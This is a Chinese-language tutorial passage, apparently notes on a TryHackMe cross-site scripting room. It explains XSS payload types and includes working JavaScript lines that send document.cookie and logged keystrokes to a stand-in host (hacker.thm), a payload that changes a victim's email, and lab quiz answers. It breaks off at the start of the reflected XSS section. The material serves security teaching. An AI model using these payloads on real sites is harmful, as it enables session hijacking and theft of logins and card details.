该篇简介
先决条件:
值得注意的是,由于 XSS 基于 JavaScript,因此对该语言有基本的了解会很有帮助。然而,这些示例都不是过于复杂,而且也是对客户端-服务器请求和响应的基本理解。
跨站脚本攻击(在网络安全社区中更广为人知的名称为 XSS)被归类为注入攻击,其中恶意 JavaScript 被注入到 Web 应用程序中,意图由其他用户执行。在这个房间中,您将了解不同的XSS类型、如何创建XSS有效负载、如何修改有效负载以逃避过滤器,然后以一个实际实验室结束,您可以在其中尝试新技能。
跨站点脚本漏洞极为常见。以下是一些 在海量应用中发现的XSS报告;发现并报告这些漏洞可以获得丰厚的报酬。 7500美金,算算多少人民币吧。羡慕
XSS有效负载
什么是有效负载?
在XSS中,有效负载是我们希望在目标计算机上执行的 JavaScript 代码。有效负载有两个部分,意图和修改。
意图是您希望 JavaScript 实际执行的操作(我们将在下面的一些示例中介绍),而修改是对我们需要的代码进行更改,以使其执行,因为每个场景都不同(在完善中详细介绍了这一点)您的有效负载任务)。
以下是XSS意图的一些示例。
概念证明:
这是最简单的有效负载,您所需要做的就是证明您可以在网站上实现XSS 。这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如:
<script>alert('XSS');</script>
会话窃取:
用户会话的详细信息(例如登录令牌)通常保存在目标计算机上的 cookie 中。下面的 JavaScript 获取目标的 cookie,对 cookie 进行 base64 编码以确保成功传输,然后将其发布到黑客控制下的网站以进行记录。一旦黑客拥有这些 cookie,他们就可以接管目标的会话并以该用户的身份登录。
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
可能有没学过javascript的,这里简单解释一下,
'https://hacker.thm/steal?cookie=' 是请求的URL,这里的?cookie=表明后面会跟着一个cookie值。
btoa(document.cookie) 是一个函数调用,btoa 是Base64编码函数,document.cookie 是一个JavaScript对象属性,它包含了当前网页的所有cookie值。这个调用将当前页面的cookie值转换成Base64编码格式。
按键记录器:
下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制下的网站。如果网站将有效负载安装在接受的用户登录或信用卡详细信息上,这可能会造成很大的破坏。
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
代码解释:它会在文档中监听键盘事件。具体来说,它监听keypress
事件,每当用户在键盘上按下并释放一个键时,就会执行定义好的函数。
document.onkeypress = function(e) { ... }
这部分代码为document
对象上的keypress
事件定义了一个事件处理程序。每当文档中发生keypress
事件时,都会调用这个函数。
e
是一个事件对象,它包含了关于键盘事件的信息,如按下的键是哪一个(e.key
)。
fetch('https://hacker.thm/log?key=' + btoa(e.key) );
这段代码在键盘事件触发时执行。
fetch
是JavaScript中的一个函数,用于发出网络请求。'https://hacker.thm/log?key='
是请求的URL,这里的?key=
表明后面会跟着一个键值。btoa(e.key)
是将键盘事件中的键值(例如,字符或字符编码)转换为Base64编码。
所以,当用户在键盘上按下并释放一个键时,这个函数会被调用,将按下的键的值转换为Base64编码,然后将其作为查询参数发送到https://hacker.thm/log
这个URL。
商业逻辑:
这个有效负载比上面的例子要具体得多。这将涉及调用特定的网络资源或 JavaScript 函数。例如,假设有一个用于更改用户电子邮件地址的 JavaScript 函数,名为user.changeEmail()
。您的有效负载可能如下所示:
<script>user.changeEmail('[email protected]');</script>
现在帐户的电子邮件地址已更改,攻击者可能会执行重置密码攻击。
接下来的四个任务将涵盖不同类型的XSS漏洞,所有这些漏洞都需要稍微不同的攻击负载和用户交互。
任务一问题:
哪个文档属性可以包含用户的会话令牌? 答案:document.cookie
哪种 JavaScript 方法经常用作概念验证? 答案:alert
反射型XSS
当用户在HTTP请求中提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS。
示例场景:
如果您输入的